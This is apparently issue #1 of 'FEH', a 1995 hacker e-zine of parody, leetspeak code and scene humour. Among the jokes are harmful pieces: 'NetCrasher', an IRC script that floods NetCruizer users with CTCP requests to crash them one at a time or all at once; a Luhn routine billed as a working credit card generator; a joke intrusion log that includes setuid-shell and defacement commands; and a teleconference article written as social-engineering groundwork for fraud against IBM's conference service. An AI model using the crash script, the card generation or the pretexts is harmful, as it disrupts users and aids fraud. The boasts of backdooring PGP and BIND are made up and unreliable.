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1415 lines
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FFFFFFF EEEEEEE HHH HHH
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FFF EEE HHH HHH
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FFFFFFF EEEEEE HHHHHHHHHH
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FFF EEEEEE HHHHHHHHHH
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FFF EEE HHH HHH
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FFF EEEEEEEE HHH HHH
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U L A
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X E X
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I E O
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N' T R
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Issue #1
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July 1st, 1995
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Editor: ReDragon
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Fuxin' Eleet Haxor of the Month: Hotrod
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Fuxin' Eleet Haxor Member List: TOP SECRET
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Official FEH Porn Supplier: twi
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Official passed out drunk of FEH: y
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Official FEH bartender: thomas
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Chicago subsidiary of FEH: l0ck
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Official FEH Historian: SnoCrash
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Official FEH Warez Supplier: X
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Official FEH telco security: Dale Drew
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Official FEH distribution: Dark Tangent
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Official Vehicle of FEH: Saab
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Official Song of FEH: Thriller
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Official Alcoholic Drink of FEH: Goldshlager
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Official domain of FEH: feh.org
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Our current email address: feh@pussy.org
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Greetz To (if we left you out, itz cuz we dont got yer inpho) :
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aky, al, albatross, antichrist, armitage, artimage, baccahbar,
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barnasch, basehead, bedlam, blackdeath, blackfire, bluesman, c-curve,
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c_cipher, captain ahab, captain hook, ccrider, cerbus, chaos, clovis,
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corak, crax, crimelord, crushed puppy, cyntaxera, cyrix, d-fens, datarape,
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deathstar, defcon4, deker, digital, discodan, diskjockey, dob, dr. freeze,
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dragonlady, drd00m, dreamweaver, drmenace, drunkfux, drwarfare, dupre,
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eek, elastic, erikb, eternal, etrigan, excelsior, firefly, fisch,
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frank carson, freiheit, friede, genx, gfm, gheap, ghornet, grayareas,
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greylock, greystone, harvard, hellfire, henry, hos, howcum, hypnosis,
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interrupt, joybubbles, kc, kewp, kl, kracker, kurupt, leigh, lexicdvl,
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liquidice, loq, lordoptic, m0rph, mafiaman, malice, meowmix, mindcrime,
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mindscrew, moonchild, mrpurple, mrx, musicphreak, mycroft, nc-17, neophyte,
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niaht, nimrod, nitro187, noel, novocain, nyar, nynex, olphart, omega,
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opiate, oreo, pandora, paradox, pclord, plant, play, pmf, purpcon, pyro,
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qwik, r-a-d, radikahl, radman, rahdude, ratscabies, razor, rebel, redskull,
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rhit, roach, scojack, sevenup, silicon, sl, slammer, slpwalker, socket,
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solstice, sparhawk, speedrcr, sphice, splice, sserpent, stealth, strauhd,
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studload, subzero, swinder, tedbundy, tek, tekone, tele, tewph, tinyz,
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totlvizn, tsoul, utahsaint, valgamon, virus, visionary, winter, wozz,
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xn4rk, xymox, z1nk, zaphod, zorphix
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Ahoy!
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That's how Alexander Graham Bell used to answer his phone.
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For some reason, it never caught on...
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Well, here it is. The first issue of FEH, a 'zine in its incarnation already
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famous and destined for greatness. Richard Steele, ex-cia agent, says of
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FEH, "my penis is HUGE". While I'm not sure exactly how this relates to FEH,
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he IS ex-cia, so we better publish whatever he says. Erik Bloodaxe, aka
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Chris G., when asked about the prospects of facing a FEH issue against Phrack,
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exclaimed "dude, i own you. i mean, we're all running yer scripts anyhow."
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Grayarea, publisher of, oddly enough, grayareas, wrote about our release,
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"spell it Gray Areas." Perhaps most impressive of all, Emmanuel Goldstein,
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when faced with the certain demise of 2600 given FEH's release, commented
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"will you leave me alone if i give you a quote?" And so, without further
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adieu, I present to you, FEH #1.
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Table of Contents:
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1. Intro (you've already read that part if you've gotten this far)
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2. Table of Contents (maximum recursion depth exceeded)
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3. Editorial by Fuxin' Eleet Haxors
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4. /var/spool/mail/feh
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5. Some C code by Fuxin' Eleet Haxors
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6. hack logs by Fuxin' Eleet Haxors
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7. "Just how eleet is FEH" by Rasputin Worldmonger (thats not his real nick)
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8. "Teleconf stuff" by Morph (ed: this was too complicated, i didnt read it)
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9. "Ways to amuse yerself" by Rush2 (other than masturbating)
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10. "The Tack Story" by Hotrod
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11. "The Birth of FEH" by SnoCrash
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12. An Interview with Dale Drew [part 1] by ReDragon
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13. "How to Hack Using Scripts [part 1] by Seven Eleven
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14. "How to Hack a Toaster Oven" by bl0ke
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To Submit articles for future issues of FEH (expect it to be released every
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month or so), e-mail ReDragon (current address: redragon@chewy.wookie.net),
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or contact him through other means (most people know where to find ReD).
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// 3. Editorial
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Too many people that are in the 'scene' today seem to do nothing but hoarde
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things. Send me this, gimme this seems to be the prevailing attitude of the
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day. If you are going to get on the net and try to hoarde anything, make it
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knowledge. Spend your time learning instead of trying to get toolz out
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of people and figuring out who the newest irc chick is. Sometimes that
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means talking to people on irc, but most of the time that means getting out
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there and doing it yourself. Its fine if you want to do the whole social
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scene of hacking or phreaking or warez or ansi, they are all different but
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in essence, they are all about entertainment on IRC. But at the heart of
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them is a common goal, why which ultimately people are judged. Which of
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these groups have the purest goals? To have all the warez? To make the
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coolest ansi or demo? To setup a conf? No, its knowledge. And that's
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why we are fuxin' eleet hackers. And that is our ideal. Now, you may see
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us on #hack 24 hours a day, but trust me, we idle a lot, and despite the
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fact that we may be active in the 'social scene' of hacking, it is what we
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are doing in another window while the irc screen scrolls that makes us
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fuxin' eleet, not what we do on IRC.
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- All the members of FEH
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// 4. /var/spool/mail/feh
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Someone sent this to one of the FEH members, anonymously, so we dunno
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where it came from or who wrote it. The names were removed to protect
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the obviously guilty...
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Most of the stuff is from my latest performance report. Prior to that I
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worked in the Computer Security Branch as the Virus/Pc expert. In that
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capacity I was responsible for taking care of any and all problems concerning
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viruses and P.C.s. I was taken from a shop where I was doing communications
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security due to my extensive knowledge of p.c.s and my decent programming
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skills. They needed someone with some knowledge and foundation in taking
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care of Personal Computers. I established a base line program for dealing
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with computer viruses, handling copyright issues and dealing with user
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problems associated with Personal Computers. We were having some difficulty
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with users not being able to distinguish between viruses and program
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gliches due to software problems. That's where I came in. O.k. from there
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they figured out that I am very good with computers. They needed someone to
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handle Network Security who could do tiger team actions and monitor our
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networks. They felt due to my computer knowledge I would be the most viable
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candidate. The following is directly from my performance report.
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"Expert in all aspects of Wide Area Network(WAN) security support.
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Responsible for executing all portions of periodic system security audits
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to find and correct host security vulnerablilities. Assists HQ USAF Local
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Area Network (LAN) systems administrators and customers in implementation of
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security safeguards on all UNIX hosts. Proactively analyzes Network
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Security Monitors (NSM) logs for indications of attempted or successful
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intrusions. Systems administrator for DSST SPARC station platforms."
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"Heart of the agency's newly established wide area network security program.
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Developed and documented procedures for monitoring the HQUSAF backbone.
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Security program has led to the most protected network within the DOD
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rated by the Defense Information Systems Security Agency as the best of 9000
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systems audited by its elite Center for information Security.
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Performs aggressive quarterly security audits of the HQ USAF WAN.
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Created software tools and new hacking techniques used by the Air Force
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Information Warfare Center for their on-line surveys of worldwide sites.
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Resident expert on UNIX security.
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Trained counterparts throughout the agency on our methodology enabling
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them to secure their networks.
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Regularly called upon by outside agencies for assistance.
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Expertise passed to other system administrators through articles published
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in directorate's security newsletter."
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"leader who has brought the agency's network security program from the
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infancy stage to a mature sustainable program which has Air Force wide
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recognition.
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Knowledge of UNIX security and leading edge hacking techniques makes him
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a valued source of information thoughout DOD."
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// 5. Some C code by Fuxin' Eleet Haxors
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fehit.c (we ran this through itself):
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/* TH1S W1LL MAK3 Y0UR F1L3S FUX1N' 3L33T */
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#1NCLUD3 <STD10.H>
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#1NCLUD3 <STR1NGS.H>
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#1NCLUD3 <CTYP3.H>
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MA1N()
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{
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CHAR L1N3[100];
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CHAR C;
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1NT 1;
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WH1L3(G3TS(L1N3))
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{
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F0R(1=0;L1N3[1];1++)
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{
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L1N3[1]=T0UPP3R(L1N3[1]);
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1F(L1N3[1]=='3')
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L1N3[1]='3';
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1F(L1N3[1]=='1')
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L1N3[1]='1';
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1F(L1N3[1]=='0')
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L1N3[1]='0';
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}
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PUTS(L1N3);
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}
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}
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The world's most fuxin eleet credit card generator (yes it works):
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main(){int i,x,n=1,t,s=0;scanf("%d",&i);for(;n<i;n++){scanf("%d",&x);
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t=((n+i%2)%2+1)*x;s+=t+t/10;}printf("%i",(10-s%10)%10);}
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Some random IRC script that we have no idea where it came from:
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# NetCrasher -=- (c) 1995
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# Utilize a nice bug in the NetCruizer IRC client to crash
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# one or many NetCruizer lamers when they are using IRC.
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^assign ctcpstring ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFING
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ER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER
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^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
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^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AF
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INGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFING
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ER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER
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^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
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^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
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^alias crash eval msg $0 $ctcpstring
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alias crashall {
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^assign TIME 1
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^assign -DOIT
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on ^raw_irc "% 352 *" {
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^assign DOIT $DOIT;^timer $TIME crash $7
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^assign TIME ${TIME+7}
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}
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on ^raw_irc "% 315 *" {
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on raw_irc -"% 352 *"
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on raw_irc -"% 315 *"
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eval $DOIT
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}
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who *.ix.netcom.com
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wait
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echo *** Will crash ${(TIME-1)/7} users...
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echo *** Time required to avoid excess flood: $TIME seconds
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}
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^on ^send_msg "% *^A*^A*^A*^A*^A*" echo *** Crashing NetCruizer lamer: $0
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echo *** NetCrasher loaded. /crash <nick> to crash a single NetCruizer lamer
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echo *** /crashall to crash all NetCruizer lamers off IRC (will lag you)
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echo *** Note that users crash immediately but do not leave IRC until the
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echo *** server gives them a ping timeout.
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Secure your PC using your joystick to enter your password:
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[ed note: whoever wrote this should be shot, unless they have greatly
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grown and only code in C now and anyhow I was only like 13
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when I wrote it so gimme a break, fuck you ed!]
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{$M 1024,0,1024}
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uses dos,crt;
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var TimeTick : procedure;
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type joystickrec = record
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b1 : boolean; b2 : boolean; x : word;y : word; end;
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plist = record
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pbyte : byte; next : pointer; end;
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var joy : joystickrec; pass: boolean;isleft: boolean;
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leftit: byte; rightit: byte;pb: byte;i:byte;
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pfile: file of byte;xl,xc,xr : boolean;
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yu,yc,yd : boolean;a,b:pointer;
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pl,pl1: ^plist;
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procedure brk;
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interrupt;
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begin
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end;
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procedure readjoystick(var joystick:joystickrec);
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var regs: registers;
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begin
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regs.ah:=$84;
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regs.dx:=$00;
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intr($15,regs);
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if (regs.al AND 16)=0 then joystick.b1:=true else
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joystick.b1:=false;
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if (regs.al AND 32)=0 then joystick.b2:=true else
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joystick.b2:=false;
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regs.ah:=$84;
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regs.dx:=$01;
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intr($15,regs);
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joystick.x:=regs.ax;
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joystick.y:=regs.bx;
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xl:=false; xc:=false; xr:=false;
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yu:=false; yc:=false; yd:=false;
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with joystick do begin
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if x<10 then xl:=true;
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if (x>=50) and (x<=150) then xc:=true;
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if (x>150) then xr:=true;
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if (y<10) then yu:=true;
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if (y>50) and (y<100) then yc:=true;
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if (y>100) then yd:=true;
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end;
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end;
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procedure writetf(bol:boolean);
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begin
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if bol then write('True ') else write('False ');
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end;
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procedure readfail;
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begin
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writeln('Verifying Joystick Input....');
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writeln('Unable to Verify Password - System Halted');
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halt(0);
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end;
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procedure xcenter;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (not yc) then pass:=false;
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until xc or (b1 and b2);
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if (b1 and b2) then readfail;
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end;
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end;
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procedure ycenter;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (not xc) then pass:=false;
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until yc or (b1 and b2);
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if (b1 and b2) then readfail;
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end;
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end;
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procedure left;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (not yc) or (xr) then pass:=false;
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until xl or (b1 and b2);
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if (b1 and b2) then readfail;
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end;
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end;
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procedure right;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (not yc) or (xl) then pass:=false;
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until xr or (b1 and b2);
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if (b1 and b2) then readfail;
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end;
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end;
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procedure up;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (not xc) or (yd) then pass:=false;
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until yu or (b1 and b2);
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if (b1 and b2) then readfail;
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end;
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end;
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procedure down;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (not xc) or (yu) then pass:=false;
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until yd or (b1 and b2);
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if (b1 and b2) then readfail;
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end;
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end;
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procedure press1;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (b2) then pass:=false;
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until b1;
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if (b1 and b2) then readfail;
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end;
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end;
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procedure press2;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (b1) then pass:=false;
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until b2;
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if (b1 and b2) then readfail;
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end;
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end;
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procedure nopress1;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (b2) then pass:=false;
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until (not b1);
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if (b1 and b2) then readfail;
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end;
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end;
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procedure nopress2;
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begin
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with joy do begin
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repeat
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readjoystick(joy);
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if (b1) then pass:=false;
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until (not b2);
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if (b1 and b2) then readfail;
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end;
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end;
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begin
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readjoystick(joy);
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Writeln('Joystick Password Verification');
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Writeln('------------------------------');
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Writeln('Please Input Your Password with the Joystick Now');
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Writeln('Press both joystick buttons simultaneously to verify your password.');
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getintvec($1b,a);
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getintvec($23,b);
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setintvec($1b,@brk);
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setintvec($23,@brk);
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assign(pfile,paramstr(1));
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{$I-} reset(pfile); {$I+}
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if ioerror<>0 then begin
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writeln('Could Not Read Password - System Halted');
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repeat until 1=0;
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end;
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new(pl);
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while not eof(pfile) do begin
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read(pfile,pb);
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pl^.pbyte:=pb;
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new(pl1);
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pl^.next:=pl1;
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pl1^.next:=nul;
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pl:=pl1;
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end;
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close(pfile);
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repeat
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pass:=true;
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leftit:=0;
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isleft:=false;
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with joy do
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begin
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xr:=false;
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for i:=1 to 5 do begin
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xcenter;
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left;
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end;
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xcenter; right; xcenter; up; ycenter; down; ycenter;
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for i:=1 to 5 do begin
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xcenter;
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right;
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end;
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xcenter; left; xcenter; up; ycenter; down; ycenter;
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for i:=1 to 4 do begin press1; nopress1; end;
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for i:=1 to 3 do begin press2; nopress2; end;
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for i:=1 to 2 do begin press1; nopress1; end;
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press2; nopress2;
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repeat
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readjoystick(joy);
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until (b1 and b2);
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if (pass) then begin
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writeln('Verifying Joystick Input...');
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writeln('Password Verified - Continue');
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end
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end;
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if (pass) then begin
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gotoxy(1,18); writeln('ACCESS DENIED - INCORRECT PASSWORD');
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sound(500); delay(100); nosound; delay(100); sound(500); nosound;
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sound(500); delay(100); nosound; delay(100); sound(500); nosound;
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end;
|
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until pass;
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setintvec($1b,a);
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setintvec($23,b);
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end.
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// 6. Fuxin' Eleet Haxor Logs by Hotrod
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|
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As an offering to the public to prove FEH's obvious superiority to l0ck,
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I decided to demonstrate a n00 h4q t3kn1qu3 recently developed in the FEH
|
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laboratories, located on a secret island in the Atlantic ocean.
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|
|
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The n00 h4q t3kn1qu3 has been demonstrated on wopr.mil, once regarded as
|
|
one of the most secure machines on the net. This machine alone
|
|
determines whether or not to launch the nuclear missles of the United
|
|
States. It runs on the US Military's top secret propriatary OS "Lesb/OS".
|
|
Lesb/OS machines are no match for the awesome power of FEH.
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|
|
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FEH proudly offers the following:
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|
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---
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Log start 5/30/95 22:17:36
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feh.org# uname -a
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|
UNICOS feh 4.3.5 #5 Tue May 30 22:17:36 EDT 1995 T3D
|
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feh.org# whoami
|
|
root
|
|
feh.org# telnet -safe wopr.mil
|
|
Trying 194.33.43.1...
|
|
Connected to wopr.mil.
|
|
Escape character is '^]'.
|
|
|
|
Don't even think about haxoring this site, bud.
|
|
Try if you like, you will fail.
|
|
Just don't get caught, or you'll pay the price.
|
|
|
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wopr login: root
|
|
password: (we tried root)
|
|
Login Incorrect
|
|
|
|
wopr login: root
|
|
password: (we tried no password)
|
|
Login Incorrect
|
|
|
|
wopr login: root
|
|
password: (we tried pencil)
|
|
Login Incorrect
|
|
|
|
Ok, obviously our traditional hacking methods weren't working out at this
|
|
point. We decided to go for some more sekretive methods...
|
|
|
|
wopr login: lemmein
|
|
password:
|
|
Login Incorrect
|
|
|
|
wopr login: iamfeh
|
|
password:
|
|
Login Incorrect
|
|
|
|
wopr login: HEYASSHOLEIMROOTATFEHORGLEMMEINORYOUREDEAD
|
|
password:
|
|
|
|
Welcome to Lesb/OS 2.2.12
|
|
Last Login: NEVER
|
|
|
|
News:
|
|
|
|
The Lesb/OS upgrade to 2.2.12 was successful, we apoligize for any
|
|
inconvenience this may have caused.
|
|
|
|
As of 5/28/95 @ 20:34 hours, we have been restored from Defcon 4 to
|
|
Defcon 5.
|
|
__
|
|
|
|
You have no mail.
|
|
|
|
wopr> pwd
|
|
/home/fehroot
|
|
wopr> cd /bin
|
|
wopr> ls -al sh
|
|
-rwxr-xr-x 2 bin bin 131072 Feb 3 01:53 sh
|
|
wopr> chmod 4755 sh
|
|
chmod: sh: not owner.
|
|
wopr> ~/look.im.feh.and.if.you.dont.follow.my.orders.youre.fucked
|
|
wopr# whoami
|
|
root
|
|
wopr# ftp
|
|
ftp> open feh.org
|
|
Connected to feh.org
|
|
220 feh FTP server (UNICOS feh 4.3.5 #5 Tue May 30 22:54:18 EDT 1995 T3D)
|
|
ready.
|
|
Name (feh.org:root): feh
|
|
Password (feh.org:feh):
|
|
331 Password required for feh.
|
|
230 User feh logged in.
|
|
Remote system type is UNIX.
|
|
Using binary mode for file transfers.
|
|
ftp> lcd /etc
|
|
Local directory now /etc
|
|
ftp> get fehmotd
|
|
200 PORT command successful.
|
|
150 Opening BINARY mode data connection for fehmotd (1056 bytes).
|
|
226 Transfer complete.
|
|
1056 bytes received in 0.021 secs (49 Kbytes/sec)
|
|
ftp> quit
|
|
221 Goodbye.
|
|
wopr# cp /etc/fehmotd /etc/motd
|
|
wopr# cat /etc/motd
|
|
|
|
Congratulations, You've Been Haxored by the Best!
|
|
|
|
It wasn't LOD......
|
|
It wasn't l0ck.....
|
|
It wasn't m0ck.....
|
|
It wasn't mitnick..
|
|
|
|
You've been hacked by
|
|
|
|
FFFFFF EEEEEE HH HH
|
|
FF EE HH HH
|
|
FFFFF EEEE HHHHHHH
|
|
FF EE HH HH
|
|
FF EEEEEE HH HH
|
|
uxin leet axors
|
|
|
|
You are likely to go through several stages of emotions at this point.
|
|
First, denial, then anger, then acceptance that we are the most fuxin
|
|
eleet haxors. In fact, you better hope we are, cuz if we aren't fuxin
|
|
eleet and we still haxored yer system that means that yer a pretty fuxin
|
|
shitty sysadmin now, doesn't it? FEH is roxin' the net, tell all yer
|
|
friends we will soon be visiting their site, I hope they will be kind
|
|
enough to leave the door as open as you were.
|
|
wopr#
|
|
[Subsequently removing any trace of this machine from the net deleted.]
|
|
|
|
Comments:
|
|
|
|
Easier than even we at FEH thought it would be. We drove the machine into
|
|
such fear, that in our presence it gave us root. Note that we never actually
|
|
modified anything, or even ran any new shell, the machine simply
|
|
submitted to our eliteness, and, in a possible attempt to garner mercy at
|
|
our hands, gave us root without making us go through the formalities.
|
|
|
|
Our work remains solid in this wonderful sight:
|
|
|
|
feh.org# whois -h nic.ddn.mil wopr.mil
|
|
No match for "WOPR.MIL".
|
|
|
|
Please be advised that this whois server only contains DOD Information.
|
|
All INTERNET Domain, IP Network Number, and ASN records are now kept in
|
|
the new Internet Registry, RS.INTERNIC.NET (198.41.0.5).
|
|
feh.org#
|
|
|
|
|
|
|
|
// 7. Just How Eleet Is FEH by a Fuxin' Eleet Haxor
|
|
|
|
1 AM A PR0UD M3MB3R 0F FEH. 1 SAY THAT PUBL1CALLY, 1 SAY THAT L0UDLY, 1
|
|
SAY THAT STR0NGLY, AND 1 CAN SAY THAT CUZ W3 FUX1N R00L.
|
|
W3 AR3 3L33T. N0T 0NLY THAT, BUT W3 AR3 3L1T3. 3L33T AND FUXK1NG R0CK1NG.
|
|
W3 AR3 S0 C00L THAT W3 HAV3 R3C0NF1GUR3D R0UT3RS T0 AUT0MAT1CALLY G1V3 0UR
|
|
PACK3TS H1GH3R PR10R1T13S. W3 0WN APPR0X1MAT3LY 37% 0F ALL UN1X MACH1N3S 0R
|
|
R0UT3RS 0N TH3 1NT3RN3T. W3 SN1FF C1X, MA3-3AST, TH3 CH1CAG0 NAP, AND C3RT.
|
|
1N SH0RT W3 R0CK. H0W CAN W3 R0CK TH1S MUCH, Y0U M1GHT ASK? W3LL, THAT'S
|
|
R3ALLY A S1LLY QU3ST10N, AND Y0U'D B3ST N0T ASK 1T, B3CAUS3 W3'V3 SCR1PTS
|
|
S3TUP 0N 0UR SN1FF3RS (APPR0X1MAT3LY 4000 MACH1N3S HAV3 AUT0SN1FF3R/F1LT3RS)
|
|
THAT W1LL MA1L US THAT Y0U'R3 TALK1NG AB0UT US.
|
|
1N SH0RT - WATCH 0UT. W3 AR3 TH3 P30PL3 WH0 RUN TH3 N3T. W3 AR3 TH3 P30PL3
|
|
WH0 BACKD00R3D PGP, W3 BACKD00R3D B1ND, W3 BACKD00R3D ARGUS, TCP_WRAPP3RS, AND
|
|
1F Y0U KN3W H0W MANY ST0CK B1NAR13S 1N S0LAR1S, 1R1X, AND A1X W3 HAV3 TR0JAN3D
|
|
1N TH3 C0D3R'S MACH1N3S, Y0U'D SH1T Y0UR PANTS.
|
|
W3 R3C0NF1GUR3D R0UT1NG AT TH3 NAPS AND C1X B3CAUS3 TH3 FAT FUX WH0 RUN TH3
|
|
NAPS AR3 T00 FUCK1NG STUP1D AND LAZY T0 D0 1T R1GHT. 1T D1DN'T HURT THAT TH3
|
|
PACK3TS TRAV3L 0V3R TH3 SN1FF3R'S 3TH3R, BUT 3V3N W1TH THAT 3XTRA (TRANSPAR3NT)
|
|
H0P, W3 1NCR3AS3D 3FF1C13NCY BY 3.2 %.
|
|
BUT TH3 0NLY TH1NG Y0U R3ALLY N33D T0 KN0W 1S THAT W3 AR3 FUCK1NG 3L33T,
|
|
W3 AR3 HACK3RS, AND W3 W1LL D0 WHAT W3 WANT. D0N'T TRY T0 R3S1ST US, W3 W1LL
|
|
0V3RC0M3 ANY S1LLY C3RT ADV1S0R13S Y0U PUT 0UT. W3 AR3 TH3 0N3S WH0 S3TUP
|
|
M1TN1CK'S BUST, B3CAUS3 W3 W3R3 T1R3D 0F H1S S1LLY PR3SS. W3 AR3 TH3 0N3S
|
|
WH0 MA1L3D SH1M0' TH3 L0GS. W3 AR3 FEH. W3 AR3 Y0UR FR13ND, UNT1L Y0U M0V3
|
|
AGA1NST US. AND TH3 Y0U W1LL F1ND Y0UR SYST3M, Y0UR T3L3PH0N3, Y0UR B1LLS, Y0U
|
|
L1F3, MUCH M0R3 D1FF1CULT.
|
|
L0V3 FEH - W3 AR3 Y0UR MAST3R, AND W3 AR3 Y0UR 0WN3R. B3 G00D T0 US, AND W3
|
|
W1LL TR3AT Y0U W3LL. R3B3L AND F33L PA1N.
|
|
[FEH] 3VANG3L1ST - RASPUT1N W0RLDM0NG3R
|
|
|
|
|
|
|
|
// 8. Something about Teleconferencing Stuff by Morph
|
|
|
|
An Overview of American Teleconferencing Service,
|
|
^..^ their relationship to IBM, and TiNets ^..^
|
|
(oo) - eye [Part 1] (oo) - me
|
|
( . ) phear researched and compiled by Morpheus ( . ) too
|
|
`. ' feh with thanks to Prophet and also the ` .'
|
|
. cooperative employees I spoke with. .
|
|
PHEAR PHEAR
|
|
-=FEH=- root:Donteventhinkofit:0:1:Operator:/:/bin/csh -=FEH=-
|
|
-[*.gsfc.nasa.gov:/etc/passwd]
|
|
|
|
Kopyright (k) Morpheus 1995,
|
|
all rights reserved.
|
|
[ed note: feel free to steal this and claim it as your own]
|
|
|
|
--------------------------
|
|
Introduction
|
|
--------------------------
|
|
A Canadian affiliate of CAFBL tipped me off that IBM teleconferences had been
|
|
used before through a toll free line. So I investigated how IBM teleconfs are
|
|
setup, who makes them with what software, and how to access IBM conferences.
|
|
|
|
Well I called up IBM's toll-free information line available from the 800#
|
|
index and began a very blunt attempt to socially engineer teleconfs from IBM.
|
|
The guy I talked to with told me to work through my regional directors, not
|
|
through the software information line, and he gave me the number to American
|
|
Teleconferencing Service, which exclusivly handles IBM extrenal teleconfs.
|
|
American is a southern company, located in Tousan, AZ.
|
|
|
|
This was originally designed as a scam article, a step by step guide to the
|
|
tricks and traps involved with setting up American Teleconferences through
|
|
IBM. Upon further consideration, I went back and edited the article to make
|
|
it more informational and less "LeT'z HaCk Th0sE FuCkeRz!" I am sure that the
|
|
rewording of this paper will not make fraudulent use of the information any
|
|
less compelling, but I do feel sure that half-assed phreakers would be better
|
|
off sticking with old AT&T.
|
|
[ed note:
|
|
i wish he just gave us codes, all this technical stuff makes my head hurt.]
|
|
|
|
--------------------------------------
|
|
A look at an American Teleconfernce
|
|
--------------------------------------
|
|
|
|
American Teleconferences conference setup looks like this:
|
|
|
|
===========================================
|
|
- 6500800 - TiNet Dialin - Accessible to IBM and not you.
|
|
- 7194440800 - External Dialin - Regular Telephone number.
|
|
- 157998 - Conference ID - Use this to access account and conference.
|
|
===========================================
|
|
|
|
Also, American teleconference offers an optional toll free line to dial in to
|
|
the conference. This is the only option they offer for external access to the
|
|
conferences. TiNet works from probably all IBM phone lines, by dialing 271
|
|
followed by the TiNet number.
|
|
|
|
American works on a fairly primitive conferencing system, they simply connect
|
|
each line to the other lines as they call in. There is no conference hub, so
|
|
if you're the first caller, you get put on hold until the next caller comes
|
|
in. The music sucks, i mean, this is really terrible music.
|
|
[ed note: you might like the music, some people set these confs up themselves
|
|
just so they can hear the hold music, and nobody ever calls.]
|
|
|
|
An automated conference conection does not exist, and there is no real access
|
|
code to enter. Once you dial into the conference, you are greeted by the
|
|
operator who asks you for you conference ID number and your name. A list of
|
|
names can be generated and given to the operator before the conference.
|
|
|
|
---------------------------
|
|
How American Operates
|
|
---------------------------
|
|
|
|
All IBM groups that use American have files in American's Databases.
|
|
Contained in your file is your name, title, office phone, office address,
|
|
which will also be your billing address, and your department number. This is
|
|
an example of what the file would look like when brought up on their screen:
|
|
|
|
========================== ============
|
|
Name [ Bruce Sterling ] : [ Hi Bruce ]
|
|
Dpt [ # 5176 ] : [ from the last 4 digits of phone number ]
|
|
Addr [ 227 Maple Lane ] : [ Office adress / billing adress ]
|
|
Addr [ Phila PA 19191 ] : [ Use the closest corp/office ]
|
|
Phon [ 512-323-5176 ] : [ Office Numba ]
|
|
XXXX [ Billed 1/11/11 (status) ] : [ Did yew pay your bills? ]
|
|
XXXX [ Billed 1/11/11 (status) ]
|
|
XXXX [ (Notes) ] : [ He writes books ]
|
|
========================== ============
|
|
|
|
This is certainly *not* a screen capture, so the screen the operator will see
|
|
is very probably more complex. Also the Fields represent variable areas, you
|
|
probably get a better idea of what the operator is thinking when talking to
|
|
you through this.
|
|
[ed note: the operator is probably thinking about how her life ended up
|
|
so miserably that she is working as a telephone operator.]
|
|
|
|
Billing status can include a refuse notice for delayed payment or whatever.
|
|
The Notes can be preferences, such as toll free access or possibly something
|
|
else. Callback confirmation is usually not utilized, since the bill is not
|
|
included with the phone bill, but is delivered to the billing address. Your
|
|
number appears on their terminal also, with whatever comments are attached
|
|
to that.
|
|
|
|
American has become so exclusively dedicated to serving IBM that operators
|
|
will sometimes get on and say "IBM Conference Service." I also spoke to some
|
|
operators about what software they were running and on what type of terminals
|
|
which appears to be a big secret. [ed note: probably NOT os/2]
|
|
EDICTS: Electronic Distribution Information Control Transaction System, file
|
|
transfer system. Operates RO6000 Systems. Distributed by IBM. This is one of
|
|
the programs used by American, the operator told me that much before she woke
|
|
up a bit. This is a datacommunications software package, and is seperate from
|
|
their audio / video teleconferencing software.
|
|
|
|
----------------------------------
|
|
TiNet, TiLines, and TiSystems
|
|
----------------------------------
|
|
|
|
TiNet dialins do not exist. The only way to access TiNet Services is through
|
|
IBM's phone system. TiNet is simply the telephone system IBM strung together
|
|
which makes conferencing and interoffice communications easier.
|
|
|
|
In fact, TiNet was created as a datacommunications system that ended up with
|
|
a gross excess of bandwith so they expanded into Voice Capabilities. TiLines
|
|
can be setup in virtually any office, and for any large bussiness.
|
|
|
|
Tinet's selling feature, so to speak, is that offices with TiLines installed
|
|
can bypass long distance charges and Telephone Companies all together. This
|
|
is particularly useful for Banks and Credit Unions who prefer the Security
|
|
of private phone lines than the inherent lack of security in public / normal
|
|
phone lines. [ed note: what about clipper?]
|
|
|
|
In conclusion I would like to state that all of the information mentioned is
|
|
for purely informational purposes and that, should any of you abuse IBM and
|
|
American Teleconferencing, that would be illegal and you would be prosecuted.
|
|
But then again, would any of us choose to break the law? Heavens no!
|
|
[ed note: if you do happen to break the law, drop us a note so we know that
|
|
this is useful.]
|
|
|
|
-------------------------
|
|
Fun Filled Numbers
|
|
-------------------------
|
|
|
|
IBM Software Information Service == 1-800-426-2255
|
|
IBM General Information Line == 1-800-426-3333
|
|
American Teleconference Reservation Line == 1-800-723-9093
|
|
Hooked on Phonics main order Line == 1-800-222-3334
|
|
IBM CORP main office [Philadelphia] == 215-851-2008
|
|
IBM Teleconference Director's office [Philadelphia] = 215-851-3677
|
|
|
|
The author's inpho:
|
|
Morpheus can be reached at GBA 215-750-0392 or morph@chewy.wookie.net or
|
|
morph@iia2.org. Send your public pgp key if you want a reply. Also,
|
|
you can reach him at 800/862-0094 during the day from US, or from canada,
|
|
800/925-9999 ## 719. On EFnet, he's on #hack, #zines, and #cafbl.
|
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
|
Version: 2.3a
|
|
mQCNAi/R9UAAAAEEALDNmlPQJ/CmH1Ba77TmMKBaW6zUUcTrFuOe5duBZvyQpkGR
|
|
